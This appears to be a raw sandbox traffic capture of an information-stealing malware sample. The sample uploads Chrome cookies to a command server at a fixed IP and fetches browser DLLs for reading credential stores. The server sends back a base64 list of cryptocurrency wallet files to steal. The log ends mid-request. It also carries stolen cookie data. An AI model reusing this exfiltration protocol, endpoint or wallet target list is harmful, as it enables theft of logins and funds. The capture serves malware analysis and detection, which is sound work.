Sep 21, 2024 13:34:16.872633934 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Sep 21, 2024 13:34:18.022578955 CEST	950	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJECBAAAFHIIEBFCBKF Host: 46.8.231.109 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 43 42 41 41 41 46 48 49 49 45 42 46 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JKJECBAAAFHIIEBFCBKFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwODEzMDAJMVBfSkFSCTIwMjMtMTAtMDUtMDkKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMzAwNDk5CU5JRAk1MTE9azl0VDNxN1lmaDFueF9GU2wwNkY1VUVfdmRhRlFyZWlHS2UxYUROODNNZXZlRDdQTDFSWlh2YTRzLW5GYzl3YVFpOUx0S2F2dVRJYmE4TVVrb0d1NThFOEU4MWd3Ql9UV0o0TmctTGZDdnpoZW03ck5yaFpRMmFHdkpaOWcyVFlocXgyVzJPNEU3dUhRelBrM3Z1THZNTHhGWFpzcUU2TmRBVmlRREVDR3BvCg==------JKJECBAAAFHIIEBFCBKF--
Sep 21, 2024 13:34:18.254498005 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:18.784985065 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJ Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="file"------FHDAFIIDAKJDGDHIDAKJ--
Sep 21, 2024 13:34:19.020761967 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:20.970706940 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJE Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="file"------JJJDGIECFCAKKFHIIIJE--
Sep 21, 2024 13:34:21.200234890 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:22.692744017 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 21, 2024 13:34:22.869007111 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 21, 2024 13:34:23.763212919 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 21, 2024 13:34:23.939680099 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 21, 2024 13:34:24.867908955 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 21, 2024 13:34:25.045979977 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 21, 2024 13:34:25.592271090 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 21, 2024 13:34:25.768224001 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 21, 2024 13:34:27.570610046 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 21, 2024 13:34:27.746206045 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 21, 2024 13:34:28.296843052 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 21, 2024 13:34:28.472281933 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 21, 2024 13:34:29.105905056 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCG Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Sep 21, 2024 13:34:29.339804888 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 21, 2024 13:34:29.930080891 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCAEGDHJKFHJKFIJKJE Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 4a 4b 4a 45 2d 2d 0d 0a Data Ascii: ------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="token"dada4ad7c989e59c63cad8c1de0f724a1fd7bdf07dfc550445611ed440e5079f9d681bb0------EHCAEGDHJKFHJKFIJKJEContent-Disposition: form-data; name="message"wallets------EHCAEGDHJKFHJKFIJKJE--
Sep 21, 2024 13:34:30.109635115 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Sep 2024 11:34:30 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 21, 2024 13:34:30.318741083 CEST	464	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHIIJDGHCBFIECBKEG Host: 46.8.231.109 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 64 61 34 61 64 37 63 39 38 39 65 35 39 63 36 33 63 61 64 38 63 31 64 65 30 66 37 32 34 61 31 66 64 37 62 64 66 30 37 64 66 63 35 35 30 34 34 35 36 31 31 65 64 34 34 30 65 35 30 37 39 66 39 64 36 38 31 62 62 30 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 